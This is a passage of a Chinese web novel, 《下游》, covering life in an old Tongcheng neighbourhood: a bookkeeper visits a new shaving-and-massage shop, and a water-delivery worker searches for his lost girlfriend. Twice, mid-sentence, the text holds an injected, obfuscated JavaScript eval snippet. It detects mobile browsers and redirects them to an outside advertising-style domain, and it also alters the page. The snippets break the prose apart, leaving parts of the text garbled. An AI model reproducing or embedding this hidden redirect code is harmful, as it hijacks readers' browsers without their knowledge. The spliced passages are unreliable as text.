《下游》 1. 楔子 【2024年7月】 桐城,七月,苦夏。 高温预警连发两天,工地十一点刚过就收工了,刘长顺跟着工友们在工地食堂吃了饭,喝了两口凉茶,抽了根烟,再绕到后头跟屋子里吹风扇的几个小工程师打个招呼,收拾东西从工地往外走。 迎面碰上几个工友,都是老熟人,恭恭敬敬喊他一声刘大哥。 这工程不小,主要是新建地铁口上盖的物业综合开发,大包工头之一是他姐夫,准确地说是前姐夫——他的姐姐五年前已经去世了。 姐姐姐夫生前感情好,姐夫一直带着他跑工程,他马马虎虎学过一点财会,主要管帐。工人结算,材料款,这些都从他手上过。 从前姐姐在世,他与姐夫亲如一家,狐假虎威,人客气的还喊他一声‘刘老板’又是递烟又是送茶,日子过得滋润。 但现在不一样了。 其一,这两年工程难做,年初他在家赋闲了两个月才等来这一趟活儿,其二,姐夫今年初新娶了。对方才三十出头,办酒的时候肚子已经大了起来。 他知道那个大肚婆不喜欢丈夫把前妻的人留在身边办事,天天吹枕边风呢。 正想着,工地门口的临时保安室有人探出半个身子叫他:“刘哥,回家啊?” 刘长顺一看,是陈建。 陈建是年初‘大肚婆’塞进来做出纳的,据说是她的远房堂弟,正经一本会计专业毕业的,白白净净玉面书生似的。 陈建很会来事,总是刘哥长,刘哥短的,刘长顺很有紧迫感,生怕哪天就被取而代之,因此一向不爱搭理他。 “刘哥,走啊,玉林路那边新开家店,修面按摩的,大夏天的,我请你去松松筋骨。” “不了,回去冲凉。”刘长顺皮笑肉不笑的。 “给个面子,刘哥,我刚来,还有好多事情要向你请教来着。”陈建说着,从前头口袋里掏出汗巾擦脸。 刘长顺心想,这么斯文,怎么在工地混。 虽心里鄙夷,但一听‘请教’两个字,又还是跟着他去了。儿子去年去上大学了,暑假也不肯回家到处旅游,老婆喜欢煲剧打牌与他没有共同语言,他好多话憋在肚子里找不到输出对象。 城东玉林路这条老街他很熟,横亘老城区的一条路,九零年代只有两车道,后来拓宽到四条,高峰时期仍经常堵的水泄不通。 两道的香樟树有了年头,盛夏时节遮天蔽日。这两年好多游客专门来这里打卡,也带动着街边的铺面换了一茬又一茬。 他在这附近住了一辈子,没看出这条街到底有什么看头。 ‘‘红桃k’男士养面馆’——刘长顺抬头看点名,心想,养面,这又是什么新奇玩意? 店前还有两个开业花篮,昨夜下过一场暴雨,今天太阳又烈,花早就蔫头搭脑的了。有只被剃了毛的狗被拴在贴着‘欢迎光临’的玻璃门前,卧着,见人来了都懒得让路。 店里又是另一番光景。 很安静,灯光昏昏,凉风习习,胡桃木地板,半墙是复古造型的镜子,黑色盥洗台,一排勃艮第红的可升降皮椅,锃亮锃亮的。 靠里头的两个都躺了客人,两个年轻姑娘各自围着,一个正头部按摩,一个正在修面。姑娘都穿着鹅黄的短袖工作制服,棕色一字长裙,不算暴露,但够婀娜多姿。 柜台后头好像还有间房间,用珠帘隔开,有人在里头踱步,不时露出一截小腿,踩着一双莓粉色的人字拖。 头部按摩的那位客人已经睡着了,发出不和谐的鼾声。另一个在修面的正与姑娘说话,那姑娘背对着门,声音轻轻泠泠的,细听又听不清,不一会儿又被那男人逗笑了。 “这儿正规么。” 那姑娘的笑声让刘长顺腿软。他向来是有贼心没贼胆的人,钱包也被老婆管的死,很少出入这种场合。 “正不正规的,不都是服务么。保你舒服。”陈建扶了扶眼镜,笑得很下流。 刘长顺心想,呸,什么名牌大学学生。原来平常都是假正经。 “两位么?”里头有人掀开帘子出来迎客。 白花花的两条腿,牛仔热裤,黑背心,齐耳黑发,耳后挑染两缕粉色,画着花里胡哨的眼妆,见了来人,说:“建哥,今天又带朋友来了?” “璐璐,在呢。这不照顾你生意嘛。两个按摩修面” “谢谢建哥。今天加送您个采耳。” “那个...微微...” “微微她不在呢。今天店里人不够。建哥,我给你按吧。” “你给这位老板按吧。随便给我安排谁都行。” 听说微微不在,陈建有些心不在焉。微微长得很像他学生时代暗恋的一个同学,当然,没有那么高傲难以接近。微微话少腼腆,按摩的时候总会轻轻地问,‘先生,力度可以吗。’ “等我换个工作服。” “有什么可换的。穿什么不都一样。”陈建又开黄腔。 “得换。这是店里规矩。” 璐璐假装没听懂。 “规矩,规矩,”陈建笑,“你们老板娘又不在。” 他凑到刘长顺耳边说,“老板娘最靓,就是脾气硬,不好惹。“ 老刀修面技术刘长顺只儿时在发廊里见过。这家店改良了服务流程,净手,洗脸,热腾腾的毛巾敷脸,刮面修面,补水面膜,二十分钟的精油肩颈按摩,室内暗香浮动,一套走下来,刘长顺只觉得骨头里都在发酥,神魂颠倒,出了一身大汗,半天爬不起来。 末了还给送上一杯红茶,刘长顺直着眼一点点喝,压根忘了是为了什么才跟陈建来这儿。 陈建那边也按完了,他正跟叫璐璐的女孩儿说笑,凑近了去看她胸牌,被璐璐轻笑着躲开。 出了店,陈建才说起正事,有几个工头不太好相处,不太待见他,总拉着个脸,刘长顺和他们是老相识,陈建请他从中斡旋斡旋。 陈建心里想,以后刘长顺的工作早晚也要落到自己手里,该搞好的关系得搞好才行。堂姐说过,只认姓刘的,不认姓陈的那可不行。 刘长顺的魂还留在店里,不自在地摸着自己的下颌,敷衍答着。 陈建观察他的神色,说,“刘哥,你要真喜欢刚刚那姑娘,我给你安排,带出场。璐璐是他们店长,我熟,好说话。” “瞎说。我看他们挺正规的。” “正规就有鬼了。我亲眼看见的,刚刚旁边那男的结束往那女的屁股兜里塞钱,还掐了一下。” 陈建又凑近他一点,扶了扶眼睛,“搞按摩的,有几个正经的。” * 八点多,雨将下未下,老城区夜生活不如市中心丰富。 送走了今天的最后几个客人,璐璐招呼今天当班的小燕和沐沐收拾清理,自己走去门口抽烟。 结果没走几步,新买的凉鞋踏上一滩黄渍。 姜璐没好气,插着腰,高声喊,“说过多少回了,把狗拴紧点,拴紧点。听不懂人话是不是。动不动随地大小便,狗不懂事,人也不懂事啊?” 旁边鸭霸王卤味店前的小桌已经收走了,一个胖女人抱着只老狗从店里头冲出来,气势凌人,“你哪只眼睛看到是我的狗尿的了。嘴巴放干净一点。” 姜璐气笑了,“谁tm现在站在我面前我骂谁。你这狗天天不牵绳瞎窜,信不信我找城管的来。” 胖女人早就看她们莺莺燕燕进进出出的不顺眼:“你找啊。还城管,你信不信我找派出所的来,你们这些做/ji的一个都没得跑。” “谁做ji?你说谁做ji。你再说一个试试。” 姜璐把烟蒂往地上一扔,揭开制服领子就要上手。 “这是吵什么呢。” 老狗轻轻地吠一声,胖女人往阶下看去。 一个长发的女人,穿件宽松简单的米色开司米吊带长裙,曲线影影绰绰,骨肉匀停。 她长相并不浓烈夺人,南方姑娘惯有的清秀眉眼,但神情间有些凛凛然,又可见一抹倦意,使人觉得有距离感。 “她家狗又在我们店门口尿了。” 璐璐没提‘做鸡’的事情,她和那些男人周旋一天了,又饿又累,其实不想吵架。 胖女人堆肉的脸上擒上假笑,说,“哎呀,许老板来了。你也知道的,我家这狗老了,尿失禁,我下午去接孩子,把狗在这儿拴了半小时,让它晒晒太阳。还是姜老板嘴快,这才吵了几句。” 女人比她高一头,亲亲热热地上了台阶抚了抚她的手臂,是笑着的,眼里却是冷冷的神色,“咱们都是隔邻隔壁做生意的,张姐您多担待担待。” 张姐不敢惹这位老板娘。 隔壁炒瓜子店的老板说见过她男人,手臂上有纹身,一看就是社会上混的。 * 半关了卷闸门。姜璐和小燕麻利地把折叠餐桌撑了起来,许冉带回了珍宝比萨,一个芝士榴莲味的,一个意大利肉酱味的。 店里不管员工住宿,但管一日两餐。 沐沐吃不惯芝士榴莲味,捏着鼻子说闻着好臭。 小燕笑她没见过世面,说,这可都是好东西,店里买三块榴莲就是五六十了。 沐沐瞪大了眼睛。 她们是邻市的同乡,沐沐是跟着小燕出来打工的,两人都是姜璐带来的,在这附近的毛巾厂职工小区里合租了个两居室。 姜璐饿鬼上身,吃了半块才想起许冉,含糊问:“你吃过了?” “路上吃过了。”许冉说,翘起二郎腿,脚尖勾着鞋一翘一翘,好玩,“生意怎么样。” “还行。今天工作日不算忙。就是这两天微微不来,大家就都辛苦一点。”姜璐说。 小燕说,“冉姐,你这裙子鞋子都好看,是小毅哥给挑的吧。” 姜璐听了咯咯笑起来,说,“我哥眼光有这么好才怪。对了姐,我哥这趟出差,得啥时候回。“ “还得小两周吧。有什么免税店要带的,你记得跟他说。” “还是小毅哥有本事。三天两头就往国外跑。”沐沐由衷地感叹。 这段日子桐城热得像个蒸笼。现下外头一场大雨总算落了,雨珠在阶前噼里啪啦开会似的,扑进来一层潮气,室内顿时凉爽许多。 ——沐沐感慨,桐城雨真多啊。咱们来了一个月,天天都下雨。 她又问:“璐璐姐,桐城周边有什么好玩儿的地方吗,周四我轮休,想去玩玩。” 姜璐是桐城人,一个月之前盘了铺面开了这家店。钱许冉掏了一大半,她自己一小半。 吃了饭,小燕和沐沐先走。 许冉和姜璐起身打扫,拾掇店里。 许冉问姜璐,“刚刚隔壁的说话很难听吧。你发那么大火。” 姜璐望一眼卷帘门,压低了声音:“她说我们是鸡/店。” “随她吧。嘴长她身上。” “等我哥回来准教训她。”姜璐忿忿,问,“对了,地方找得怎么样。” “还没看到满意的,有的采光不行,有的内部装修全得敲了重来。今天看的那套里面还可以,之前是做少儿舞蹈的,舞室现成的,就是地段不好。” “等我有空了,陪你再去看看。” 许冉点头,问她,“听你哥说,你最近想买房?钱够不?” 姜璐的父母多年前各自再婚,又各自生子,姐妹俩跟着爸爸,颇受冷待。 高中之后姜璐辍学搬出了家。 卖蛋白粉,卖面膜,做代购做微商,在会所陪酒,后来又跑到广州做外贸,总之什么来钱做什么。 姜毅是姜璐的远方堂兄,从前来往并不多,后来兄妹俩都去了广州打工,这才亲切起来。 ——姜璐和许冉是通过姜毅认得的。都在是年轻女孩,又都是自己做生意,有话题聊,很快熟识。 不过那时候姜毅只介绍说许冉是,老乡,妹妹,朋友。 疫情过后半年,两人开始出双入对。 ——朋友变嫂子,姜璐高兴得不得了。 姜璐去年在广州开有机素食店亏了钱,正在找别的路子。过年的时候许冉突然说她计划回桐城了,问她愿不愿意一起回来干。 姜璐二话没说,就答应了。 姜璐莫名地信赖许冉,觉得她是个好人,其实又对她不甚了解。 许冉很少提从前的事情。姜璐只听姜毅说过,她父亲早早过世,她自己二十岁就离开了桐城去外地打工。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15144302|164641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>姜璐回过神,点点头:“够的。我也就是先看看。最近二手房降了,我想着租房也是掏钱,干脆买个小户型,微微读书寒暑假也有地方落脚。另外,我想着这段时间让我妹少来...那个姓陈的你记得么。长得白白净净那个?” 六月妹妹姜微考上了一所民办大学,财会专业,继母死活不给掏学费,要她去读专科,便宜些。亲生母亲早就联系不上了,总之这事最后就踢给了姐姐。 许冉点头。 “我看他对微微有意思。看着不是什么好玩意儿。” “本来也是兼职,等九月开了学,让微微专心上课要紧,实在不行可以再招人。” “还有件事儿。” “什么?” “今天有客人给小燕单独塞钱了。总穿件蓝t恤戴眼镜那位。小燕没拒绝。他们什么事儿我管不着,但我想,给店里惹上麻烦就不好了。” 许冉撑着扫帚沉默了半晌:“知道了。这事儿我想想,你装不知道。她们跟你熟,别撕破脸。” “行。对了,姐,你家具搬来了吗,要不我去帮你拾掇拾掇?老城区都挺潮的,你记得装个纱门,防蚊。” * 刘长顺身上太香了。 为免妻子多疑,从红桃k出来后,刘长顺又去理了个发,买了半斤卤猪肚,在街边看了一会儿别人下棋,然后和往常一样在五点四十五分踏进家门。 妻子在阳台喂鸟,见了刘长顺,问:“你野哪里去了一下午?工地中午就下班了。” “工人不做工,帐我还得算啰。”刘长顺在藤椅上坐定,打起了扇子,又心虚说:“我去剪了个头。” 妻子冷笑一声,说,“哪里剪的头,还给你搞得喷香。” “现在发廊都那样咯。” 刘长顺从阳台栅栏望出去,见小街上有一辆货车,正好驶离。 “三楼那个这两天搬完了?” “搬完了。我看这女的也不像缺钱,也不知道怎么要搬这里来。” 刘长顺暂停扇风,说,“你这话我就不爱听。这儿又不差,学区房懂不懂,寸土寸金的咧。” “寸土寸金个屁。”妻子翻了个白眼,又接着说,“她那些家具都不便宜,还有按摩椅咧,还有好大一面镜子。楼道里都搞不进去,从上面吊进去的。” 妻子浇着花。如今这样爽快的租客越来越少见了。不是嫌三楼夏天太热就是担心漏水,反正总要还个五十一百的才罢休。 刘长顺剔着牙,问:“就她一个人?家里没个男人?” 妻子乜他一眼:“男人在外地做生意。她也没讨价还价,就问能不能在楼道装个监控,她胆小。她说自己掏钱,到时候搬走了也不取。我答应了。反正我们也不吃亏。” 这栋登高巷的老楼是父母给他留下的。 原本只是平房,九十年代末都传这一片要拆迁,人人户户都违规加盖,想多得些拆迁款。他家盖了三层。最终老区拆迁成本太贵,左谈右谈,也没拆成。 十年前,父母去世,又因给儿子攒首付的缘故,他和妻子将从前的房子卖了,搬来了这里。妻子住惯了商品房,搬来后一直嚷嚷着不习惯。 这一片如今俨然已成了桐城名副其实的‘老破小’,没产权,不能卖,但不愁租,一是附近商圈密集,年轻的打工仔多,二是附近教育资源好,有桐城二小,是桐城最好的桐城二中的直属小学,家长们都争着抢着要把孩子往里送。 如今他和妻子住二楼,一楼和三楼都租出去,租金收入也凑合存着给即将出生的孙子读书用。 缺点是这一片这种小楼太密,又建得都没有章法,采光差,隔音也不行,租客屡屡抱怨,住不长久。 吃过了饭,妻子照例要出门跳广场舞。 刘长顺眯着眼在阳台上听收音机,天气预报说桐城这场雨,要下到下个周末。老巷子里排水不好,一楼租客说昨晚雨大,把门口的鞋都泡坏了。 两首热歌播完后,收音机里夜间民生聊天节目两位主持人正聊天说:“今天最大新闻大概是莲花西东路上的ifc终于开业了,桐城人周末又有了一个逛街吹空调的好去处。说到这个ifc,它的前身其实是老桐城的蝴蝶大厦,不知道还有多少和我一样的老桐城人记得这个地方...” 八点差十分,妻子回来了,她要追湖南卫视的八点档连续剧。 进门她说:“彭娭毑,是真的糊涂了,这么晚了坐在巷子口灯下头缝衣服。” 刘长顺斜眼往下一瞧,“她天天都那样。早就痴呆了。” 不一会儿,又听到巷子里哐啷一阵响,有人骑着小电驴经过,往巷口去了。 是个劲瘦黑发的年轻人,短裤,人字拖,把车停好,扶着老人进去,不一会儿二楼亮起了灯。 “是姓谢的那小子吧。”妻子挫着指甲,“这谢家屋里头也是前世造孽,女儿死的早,女婿是个负心的,孙子又这么没出息——‘打流’。”(*打流,即方言街溜子的意思) “不是早说找着正经工作了嘛。”刘长顺问。 “没看他做什么正经工作。现在送桶装水卖力气呢。跟着那个水站的田老板干。奇了怪了,爹娘以前那么有出息,儿子这么不争气。” “倒还是有点孝心的。” “什么孝心,估计是现在租房太贵,才回这老屋头哦。” “他妈没给他留套房?” “谁知道呢。说不定被后妈挤走了。他那个爸,你又不是不晓得。啧。男人。” “我看这小伙子长得端正,高高大大的,还是有潜力。听说最近谈朋友了。男人呢,讨了老婆才安稳。” “什么潜力,马上奔三了,长得好看有么子用,没本事,哪个女的要。” 刘长顺不再关心,合上眼睛专心听收音机里的都市奇情节目。 雨后的巷子潮湿裹着一种暧昧的腥臭,晒一百年也晒不干,这味道他闻惯了,竟然觉得安心,又想起红桃k里的女人香,想起陈建犹如涂了脂粉的脸,想起那个大肚婆,又想起死去的姐姐。 姐姐就是从这巷子里出嫁的。 小巷门挨着门,户挨着户,几十年里人来人往,生生死死,起起落落,他早就看淡了。 2. 2024.07 外婆歇下还不到十点。谢存山简单洗漱,躺床上开了收音机听人讲民国史,实在燥热无聊,心里装了事,干脆翻下床,做了几组俯卧撑,想起来今天还没给黄角兰浇水,又蹑手蹑脚下楼去。 水站的小老板给他打电话,说明天要来一批桶装水,要他早点去卸货。 谢存山说知道了,又说,田总,我过几天要请个半天假,给我妈扫墓。 老板说,行。 小老板姓田,抠门本分的生意人,水站同时经营几家品牌的水,这附近小生意小商圈多,需求量大,去掉房租,送水工人的成本,运输,赚的不少。 送水工人都是临时工,不买五险一金,流动性很大。 谢存山今年初干到现在,算是老员工了。田老板挺信任他。现在除了管送货,还会让他帮着管一管库存,账本,对接客户。 挂了电话不久,手机又开始震动了,来电人显示:勇。 谢存山没接,套了件短袖,蹑手蹑脚下了楼,把厨房的门锁好,把大门从外往里反锁了,再把一楼客厅的摄像头电源打开。外婆这两年不仅痴呆愈发严重,还开始梦游。 他们前些年都住在河西的电梯房。 登高巷这儿是谢家老屋。前年外婆确诊了老年痴呆后就一直吵着要搬回来住,他拗不过,时时回来陪她。 老屋有老屋的好处,邻里街坊还有些旧相识,白天他要上班,请了隔壁退了休的吴婶婶照顾,一辈子的老街坊,倒是信得过。 从前的邻居外婆倒是个个都认得,还能聊天,甚至还能打几圈牌。 医生说了,比成天关在冷冰冰的楼房没人说话要好。 小时候父母都忙于事业,谢存山由外婆照看,在登高巷度过了童年的寒暑假。 这一块儿是老城,有些还是保护建筑,变化不大,他对这一块的地形烂熟于心,七拐八拐,到了回收烟酒的铺子,经过一家活鱼土菜馆,再往前走就是条大马路了。巷口是一家自助烧烤店——娟娟烧烤,现下正是生意最好的时候。店门口摆了五六张折叠桌,也坐满了。 熟门熟路地进了店,唐小玉正在前台翘着花里胡哨的指甲喝奶茶刷抖音,谢存山与她招呼一声,往后厨去。 今天天热,他寻常打扮,工字背心和短裤,洗过澡,清清爽爽,手臂肌肉线条很漂亮,黝黑的肩胛骨下方两道疤。 唐小玉的眼神黏在他背上,举起手机偷偷拍了照给朋友分享——‘这是我哥。我没骗你吧。’ 唐小勇打着赤膊,叼着烟,满身是汗,正热火朝天地在后厨烤串,见到他来了,头也不抬,说:“吃了没。我给你来两串?” 谢存山摇摇头,提溜一把椅子,反着坐下,长手长脚地挂在椅背上说,“嫂子呢。” “就知道嫂子嫂子的。嫂子在家哄孩子睡觉呢,等会儿才来。现在叫你来坐坐是真的难。我看你都快把我这哥给忘了。” 谢存山听这话听得耳朵起茧,“我这不是来了。事情多,水站那边老板抠门,一个人干两个人的活,到家只想睡觉。” “你现下这事儿什么时候能了了?” “很快了。” 正说着,听门口唐小玉高兴地喊,“小山哥,嫂子来啦。” “小山哥,”唐小勇一边穿串儿一边模仿她,“平时叫我怎么没这么甜咪咪哦。” 唐小勇比唐小玉大了近二十岁,他本还有个弟弟,和父亲一起去县城看病,两个人一齐出车祸死了。 母亲十年前去世后,唐小勇就成了唐小玉的‘家长’。 谢存山十几岁就跟着唐小勇混,混成了挚交。 今年六月唐小玉刚刚高考完,考上了省里唯一一所985、211。唐小勇一个一个给好友打电话报喜,高兴得好几个晚上没睡着,娟娟烧烤店连着两周全店七折。 黎娟走进来,揩了把脸上的汗,很烦躁,“孩子房间空调坏了,哄了好半天才睡。唐小勇我跟你说了好几天了,要修,你就是不记得。” 唐小勇忙不迭赔不是,“记得记得。” “不行就买个新的。旁边卖槟榔的婶子说了,附近电器城打折,包安装,便宜的也就百把块。” “买,买!”唐小勇一边扇烤串一边点头哈腰的。 黎娟会变脸似的,转过头对谢存山和颜悦色地问,“等久了吧。壮壮吵睡,缠着出不了门。” “正好跟我哥聊聊天。” 唐小勇嘁一声。 “我也是偶然遇到的,就在隔壁市里新开区那边。但隔着大马路,我也看不太清楚,就觉得有点像。像素不高。你凑合看看。” 黎娟把照片给谢存山看,只有一个模糊的侧面,站在7-11店货架旁,人比他记忆中白净高挑一些。 “模样肯定是长变了些的。”黎娟说,“你看看我,胖这么许多。” 刚认识黎娟的时候,她是小圆脸,圆眼睛,总是有点怯怯的。生了两个孩子之后丰腴很多,圆盘子脸,世俗又安稳的神情。 “谢了嫂子。” “客气什么。”黎娟磕着瓜子又问他,“听说小刘给你介绍对象了。” “嗯。” “做什么的。” “小学老师。教英语的。” “那不错。好生处处。你也该安顿下来了。” 谢存山不置可否地点了点头,存了图片和地址就起身要走,黎娟把他送到店门口,唐小玉拉他袖口,说,“小山哥,你周末陪我去河西新开的艺术馆打卡好不好。” 谢存山摸了把她新剪的刘海,说,“那玩意儿我看不懂。你约同学去。还有钱花没,给你转点?” 唐小玉赌气说,我有的是钱。 谢存山咧嘴笑她的孩子气。 唐小玉自知磨不动谢存山,悻悻去给客人拿啤酒了。 临走的时候黎娟又拉住谢存山:“我再啰嗦一句,这几年,人家也没主动联系过你,也没来找过你,可能...”她抿着唇,没再说下去。 ...可能就是不想联系了... 黎娟没把话说完,只是目送谢存山消失在巷口。 年初的时候谢存山和唐小勇在家喝了顿大酒,唐小勇说,过了今年,就别再想着以前的事儿了,眼看着三十了。找个人定下来过日子。 那天谢存山醉得像狗一样,他说,哥,说啥呢。早就翻篇儿了。 黎娟叹了口气。 转身回店里见唐小玉一脸不开心地在戳着消消乐,黎娟是过来人,当然看得出她那点少女心思,说,“等你开学了,在学校里找个最好。你小山哥大你那么多。他同意,你哥哥也不会同意的。” “大十岁不到,哥不一直说要找知根知底的。” “别闹。”黎娟从收银台抽出几张红钞票,说:“周末跟同学去吃点好的。” “嫂子。小山哥是不是一直忘不掉他前女友?” “你听谁说的。” “我偷听的。那个姐姐我见过。很小的时候。” 黎娟点点她额头。没有回话。 谢存山回到登高巷,在床上躺了两三个钟头,听见自己的心跳在薄薄的黑暗中敲鼓似的,咚咚咚,根本睡不着,于是凌晨四点又爬起来,去大街上跑了一圈,冲了个冷水澡,拿了车钥匙,又怕吵醒老人,自二楼阳台翻墙而出,奔着巷口停车场去了。 他开一辆二手牧马人,前几年朋友淘汰下来的车,他找熟人做了改装,开得踏实顺手。 夏天天亮得很快,上绕城高速的时候天还只有蒙蒙一线青白,等下了高速上了省道,就已经大亮了。 精神在极端清醒和混沌之间飘摆。一个笃定的声音在他脑子里兴奋地说服,一定是她。 而另一个冷静的声音在说,你知道的,她不会回来。她不想回来。 - 田志刚卸了五十来桶水,满头是汗,撑着酸疼胀痛的腰,出了一口长长的气,忍不住对着空气咒骂,‘他妈的,谢存山,老子今天不开了你就不姓田。这个月一分钱你都别想结。狗屁玩意儿。’ 送货约的6点,6点10分田志刚接到电话,送货员说店里没人。田志刚说,不会吧,店里应该有个姓谢的在等。 送货员说,哪有,黑灯瞎火的,卷闸门都没开。 田志刚自己去卸了货,七点多,谢存山的手机还是打不通。 到了八点多,谢存山还是没音信,田志刚临时多找了两个送货员来,不然无论如何今天的单子是送不完的。 不到十点,店里蹿进来一个人,是谢存山。 田志刚张嘴就骂“妈的,你死哪里去了。说了早上要卸货要卸货,你自己答应了的。他们送一趟我这边要掏千把块钱的,你赔得起吗...” 谢存山阴沉着脸,没回嘴,把包往地上‘咚’地一放,脱了背心开始换工作服,露出腰腹部流畅的腱子肉和背上几道可怖的伤疤。 “你要是这样,就别干了。直接滚蛋。”田志刚又说。 谢存山还是没说话,只是神色格外不善,头发乱蓬蓬的,身上还有一股刺鼻的烟草味,像抽了一宿烟。平时别人给他递烟,他是不接的,说自己戒了很久了。 平时他很寡言,干活卖力,社会关系看着也简单,唯一有些往来的是附近那个娟娟烧烤的姓唐的老板,田志刚觉得他挺好拿捏,总要他加班加点不说,有时候家里有事儿要跑腿也赖着他。给小孩儿送作业本啥的。 谢存山从来不拒绝。 见他眉宇之间阴郁沉闷,像换了一个人,田志刚闭上了嘴,后知后觉想起介绍谢存山来的居委会社工说过,他之前是在ktv当保镖的,开ktv的老板坐了牢,他才经社区介绍来打工。为了什么坐牢,社工不肯说。现在想想...说不定是杀人放火的勾当。 田志刚膝盖发软,舌头打结,后背阴凉,出了汗。 “下午你让他们回去吧。我一个人送得完。” 谢存山已经俯下身开始搬货了。 田志刚点点头,不再说什么,转身去里间对账,又说:“今天玉林路上那几家都是新客户,你送的时候客气点,问他们要不要买月卡,给他们算个九五折。” 中午放饭时间,谢存山和另两个送货员同在店里吃盒饭,有一搭没一搭听他们说话。他们都是从周边县乡里来桐城打工的小年轻,单身,兼职打好几份工,平时节衣缩食,但又爱面子赶时髦。 其中一个说周末被朋友带去了莲花西路的酒吧,里面的姑娘真漂亮又会扭。另一个说,这么好的事情,你怎么不带带我。 那个又说,“带你个吊,你知不知道那里的酒多少钱一杯,你消费得起?”又扭头跟谢存山搭讪,“谢哥,你是本地人,你去莲花西路玩没有。” 谢存山低头扒饭,说:“没去过。” 两个年轻小伙觉得他无趣,吃完饭,把单子交接给他就走了。 谢存山一宿没睡,吃完了饭有些困倦,蹲在店外洗拖把的池子旁洗脸,又因天气实在潮热难当,干脆就着水龙头把头也冲了冲。 头发还在滴水,听到自行车‘叮铃’两声,田志刚正站在门口抽烟,谢存山听他笑着打招呼:“老邹,又锻炼身体呢。” 老邹是玉林路转角包子铺的包点师傅,圆滚滚乐呵呵的一个人,每天中午等包子铺关了门,他就骑着辆破单车到处招猫逗狗下棋闲聊,整条街并这其中的三弄七巷上就没有他不认识的人。 “是呢。田老板,发财啊。哟,小谢也在。” 谢存山回过身,淡淡冲他点了点头。 一点刚过,订水电话就打进来了,谢存山顶着烈日踩着小三轮去送,田志刚抠门,之前配的最便宜的电动三轮,送了几次就坏了。他一直拖着不去修,只能暂时腿蹬。 这一家是附近的招待所,水站的老客户。 看他装好水,前台波波头的小妹热情招呼,“这么热,来口绿豆水再走。” 谢存山接了,站在空调出风口吹凉风,有一对游客模样的情侣往店里走。 谢存山问:“最近暑假,外地来住的应该挺多吧。” 小妹嚼着口香糖,细心梳理自己的刘海,说:“游客都去住市中心的好酒店了。我们这里主要是学生来开钟点房的。嘿嘿。还有就是来嫖的,偷情的也不少,三天两头有人来抓奸。不过,我们这里可是合法经营哦。但外面的流莺我们管不了啊。” 小妹多情地瞟一眼他的脸,又瞟一眼他肌肉贲张的小麦色的手臂,说,“谢哥哥,你玩不玩抖音啊。” 谢存山摇头。 小妹说,“你人帅,身材好,开个抖音肯定火。你都不用露脸,露露身材就行。人家富婆给你砸个火箭跑车,比你做这辛苦活儿好得多。” 谢存山应付两句,扔了杯子就要走。听到楼梯咚咚咚,又下来一个男人。 精瘦,肩后侧有帆船纹身,广东腔。他望了谢存山一眼,又望了一眼他身上印着‘木莲路水站’的背心,然后才倚在前台问小妹,房间里的电话怎么往外拨不通。 小妹不耐烦,说:“电话线老化了呗。现在谁还用座机。” 谢存山没逗留,赶在这段对话结束前匆匆离开。 小卖部阿凤姨见他来了,如常打招呼,“看你这一脑门子汗。这么热的天,老田那个抠鬼得付你两倍工资。这年头还有谁蹬三轮车哦,作孽。” 阿凤姨也住在登高巷,是谢存山母亲的发小,中年丧夫,孩子在外地工作。自春天谢存山搬回登高巷开始送水,不时会来她这儿喝口冰饮,扯两句闲谈。她总让他想起自己的母亲。 不过十分钟路程,谢存山又汗得湿透了。 阿凤说着,撬开汽水瓶盖,谢存山仰头灌下一大半,碳酸氢钠在嗓子眼里爆炸,盛夏的蝉疯狂地嘶吼。 “看这样今晚又要下雨。”阿凤又说,“诶,还以为这人今天不来了。” 谢存山抬起眼,见老邹穿件老头背心,骑着自行车慢悠悠晃过来。 包子铺下午就关门了,立夏之后他每天下午要来小卖部吃一个和路雪的奶油冰淇淋,再骑车去不远处的街心花园跟一群老头儿聊天下象棋。 冰柜在屋后头,阿凤姨去取,老邹不客气地把风扇挪过去对准自己,问,“你早上干啥去了。” “出去了一趟。”谢存山说,伸手把风扇转过来。 老邹叹了口气,看他眉间郁郁,猜到什么,欲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15144303|164641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言又止,从裤兜里变出一把折扇,眯着眼懒得看他。 谢存山知道他什么意思,不搭理他,说,“走了。还得继续送。” “再聊聊。就两桶了,急什么。” “等会要下雨。” 阿凤姨的塑料拖鞋拍打着地面。 “招待所有老鼠。”谢存山跨上三轮车,回头对老邹说。 老邹脸色还是那种日积月累的懒散,乐呵呵从阿凤姨手中接过雪糕:“知道了知道了。” “说啥呢。”阿凤姨目送谢存山离开,问老邹。 老邹被冰得吸气,“说那个招待所卫生不好,他去送水,抓了只老鼠。” “吓。最近我家也闹老鼠。得给社区反映下。老邹,你下午有空,帮我去看一眼?” 老邹不开窍,优哉游哉地嗦着冰棍,说:“我不行,我约了人下棋。而且我最怕老鼠。” 阿凤姨白他一眼,坐下来玩手机。 - 车停在路边的时候正是三点一刻,豆大的雨点迟疑地开始滴落,桐城的夏天常常如此。路边卖彩色棉花糖的小摊挤着一群放学早的小学生。 谢存山扛着水走进自动门,里头微风拂面,惬意而安谧的气息,有两个顾客,都闭着眼,其中很胖,瘫在皮沙发上,像一座肉山。 这家店上周刚开业。 坐在门口磨指甲的短发女人见他来了,放下二郎腿,上下打量他一眼,说,“等你一下午了。师傅你帮我们装上吧,饮水机是新买的。早知道你们搞活动送就不买了。” 谢存山一边装一边说:“你们自己买的质量好些。” 姜璐不客气地盯着他贲张的手臂肌肉看,问,“你们水站在二小附近?” “嗯。要是办月卡,打九折。” 